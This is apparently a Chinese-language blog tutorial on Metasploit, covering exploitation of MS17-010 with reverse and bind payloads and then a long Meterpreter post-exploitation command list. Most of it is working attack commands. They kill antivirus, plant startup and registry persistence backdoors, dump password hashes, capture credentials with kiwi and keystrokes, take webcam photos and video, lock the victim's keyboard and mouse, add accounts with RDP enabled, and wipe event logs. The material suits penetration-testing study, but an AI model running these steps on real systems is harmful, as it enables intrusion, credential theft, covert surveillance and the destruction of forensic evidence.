MSF的使用
基础使用
msfconsole # 进入框架
search ms17_010 # 使用search 命令查找相关漏洞
use exploit /windows/smb/ms17_010_rternablblue # 使用use进入模块
info # 使用info查看模块信息
set playload windows # 设置攻击载荷(反向)
show options # 查看模块需要配置的参数
set RHOST 192.168.1.* # 设置参数
exploit / run # 攻击
sessions [id] # 进入相应的shell中
使用meterpreter进行后渗透
漏洞利用
漏洞利用Exploit,我们也将它叫做EXP,它是针对漏洞进行攻击的代码,这一模块路径在
/usr/share/metasploit-framework/modules/exploits
针对不同的平台有不同的EXP

Payload攻击载荷
payload:payload中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,而Metasploit中的payload是一种特殊的模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了payload在目标中的行为。
shellcode:shellcode是payload中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令之后,才会提供一个命令行shell。

Single:是一种完全独立的payload,而且使用起来就像运行calc.exe一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似netcat这样的非Metasploit处理工具所捕捉到。
Stager:这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信(正向连接)。
Stage:是Stager Payload下的一种Payload组件,这种payload可以提供更加高级的功能,而且没有大小限制。
payload类型
# Single Payload的格式为:
<target>/ <single>如:Windows/powershell_bind_tcp
# Stager/Stage Payload的格式为:
<target>/ <stage> / <stager>如:Windows/meterpreter/reverse_tcp
正向连接使用场景
当攻击机在内网环境,目标机在外网环境,由于目标机无法主动连接攻击机,所以就需要攻击机主动连接目标机。如果目标机开了防火墙,只开放了指定的端口,我们就只能正向连接开放的端口,如果开放的是80端口,很有可能由于80端口上的流量过多而失败。
反向连接使用场景
当攻击机和目标机都在内网和外网时,目标机就可以主动和攻击机进行连接。一般情况下,建议反向连接,因为即使目标机开启了防火墙,也只是阻止了进入目标机的流量,而不会阻止目标机主动向外的流量。
反向连接80和443端口使用场景
当目标机能够主动连接到攻击机,且攻击机的防火墙设置的特别严格,对外的网络也做了严格的限制,只允许80和443端口与外部通信时,就可以利用80和443端口进行反向连接。
Meterpreter
meterpreter属于后渗透工具。它属于在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于"内存DLL注入"理念实现的。它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。
该工具需要先和目标进行会话连接,可能是bind正向连接,或者反向reverse连接。反向连接的时候加载dll链接文件,同时后台悄悄处理dll文件。
其次Meterpreter核心代码初始化,通过socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后,Meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。
由于meterpreter是基于内存DLL建立的连接。所以,只要目标主机关机,连接就会断。每次想连接的时候,都需要攻击,然后再次利用meterpreter建立连接。所以,得在目标主机系统内留下一个持续性的后门,只要目标主机开机了,就可以连接到该主机。
关于建立持续性后门有两种方法,一是通过启动项(persistence),另一种就是通过服务(metsvc)启动浏览器进入。为了方便渗透测试人员,将木马放到Windows的启动目录中C:\Users$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup ,这时每次目标机开机就都能够运行木马,我们只需要监听相应的端口就可以得到目标的shell。我们还可以使用命令run exploit/windows/local/persistence lhost=192.168.86.135 lport=9997 在目标机上生成*.vbs的文件,并将该服务加入注册表,目标机开机就会启动,但是这种方式很容易被杀软查杀。
Meterpreter的特点
-
- 1、Meterpreter完全驻留内存,没有写入到磁盘。
- 2、Meterpreter注入的时候不会产生新的进程,并可以很容易的移植到其他正在运行的进程。
- 3、默认情况下,Meterpreter的通信是加密的,所以很安全。
- 4、扩展性,许多新的特征模块可以被加载。
后渗透
在本阶段,使用windows/x64/meterpreter/reserve_tcp模块的payload生成载荷开启监听,然后诱导web服务器下载,等待目标机上线,然后进行后渗透阶段。


1、输入shell命令进入目标机的cmd_shell中
2、chcp 65001 将显示的乱码更改成正常字符

3、exit 退出shell
4、从meterpreter退出MSF框架
5、查看目标主机信息 sysinfo

6、查看主机是否在虚拟机上 run post/windows/gather/checkvm

7、关闭杀毒软件 run killav

8、获取目标主机的详细信息 run scraper

9、访问文件系统
pwd # 查看当前目录
cd # 切换目标目录
cat # 读取文件内容
rm # 删除文件
edit # 使用vim编辑文件
ls # 获取当前目录下的文件
mkdir # 新建目录
rmdir # 删除目录

10、文件的上传和下载
download file # 从目标系统中下载文件
upload file # 向目标系统上传文件

11、权限提升
getuid # 获取当前用户的信息
getsystem # 自动提权为系统权限(可能会失败,也有可能为假权限)

12、获取用户密码
run windows/gather/credentials/windows_autologin # 抓取自动登录密码
hashdump # 导出密码哈希
load kiwi # 使用MSF自带的kiwi模块抓取密码
# 使用kiwi模块需要拥有system权限,可以使用前面的getsystem或者在shell中使用其他手段进行提权

13、运行程序 run post/windows/gather/enum_applications
# execute命令用法:
execute [参数] -f 指定的可执行文件
-f:指定可执行文件
-H:创建一个隐藏进程
-a:传递给命令的参数
-i:跟进程进行交互
-m:从内存中执行
-t:使用当前伪造的线程令牌运行进程
-s:在给定会话中执行进程


14、 屏幕截图 screenshot

15、创建账号
run post/windows/gather/enum_logged_on_users # 查看目标主机的用户
# 创建用户
run getgui -u 用户 -p 密码
-u:指定用户
-p:指定密码
# 进入shell中创建
enable_rdp 脚本
run post/windows/manage/enable_rdp USERNAME=test2 PASSWORD=Abc123456 # 添加用户
run post/windows/manage/enable_rdp # 开启远程桌面
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 # 将3389转发到6662

16、远程桌面
idletime # 查看远程用户的空闲时长
run post/windows/manage/enable_rdp # 开启远程桌面

17、键盘记录
keyscan_start # 开启键盘记录功能
keyscan_dump # 显示捕捉到的键盘记录信息
keyscan_stop # 停止键盘记录功能

18、 进程迁移
getpid # 查看当前进程的ID
migrate [id] # 迁移到pid的进程
run post/windows/manage/migrate # 自动迁移进程命令



19、禁止目标主机使用键盘鼠标
uictl disable(enable) keyboard # 禁止(允许)目标使用键盘
uictl disable(enable) mouse # 禁止(允许)目标使用鼠标
20、 用目标主机摄像头拍照
webcam_list # 获取目标系统的摄像头列表
webcam_snap # 从指定的摄像头,拍摄照片
webcam_stream # 从指定的摄像头,开启视频
扩展库
load/use命令
load/use # 加载模块
load -l # 列出所有可用的扩展
load -help # 帮助、说明
load 双击Tab # 列出可用扩展
加载stdapi
load stdapi # 新版不用此扩展。为了应对一些显示无命令的情况
run命令
run # 执行一个已有模块
# run+双击Tab键,会列出所有的已有的脚本
# 常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等
session
sessions -u id # 升级session,默认调用post/multi/manage/shell_to_meterpreter模块
socks代理
推荐一篇文章,师傅讲的很详细
portwd端口转发
portfwd add -l 9999 -r 192.168.10.42 -p 3389 # 将192.168.10.42的3389端口转发到本地的9999端口上,这里的192.168.10.42是获取到权限的目标主机
-l # 本地监听的端口,用于接收目标主机的端口反弹
-p # 目标服务器的端口
add # 添加一个连接
portfwd delete -l 9999 -r 192.168.10.42 -p 3389 # 删除一个连接
清除事件日志
clearev # 清除事件日志
powershell
load powershell # 加载powershell功能
powershell_import /root/PowerView.ps1 # 导入powershell脚本,提前将该powershell脚本放到指定目录
powershell_execute Get-NetDomain # 执行该脚本下的功能模块Get-domain,该模块用于获取域信息,一个脚本下通常有多个功能模块;获取当前用户所在域的名称;
powershell_execute Invoke-UserHunter # 该功能模块用于定位域管理员登录的主机;
powershell_execute Get-NetForest # 该模块用于定位域信息
powershell_execute Invoke-EnumerateLocalAdmin # 枚举域中所有计算机上本地管理员组的成员

浙公网安备 33010602011771号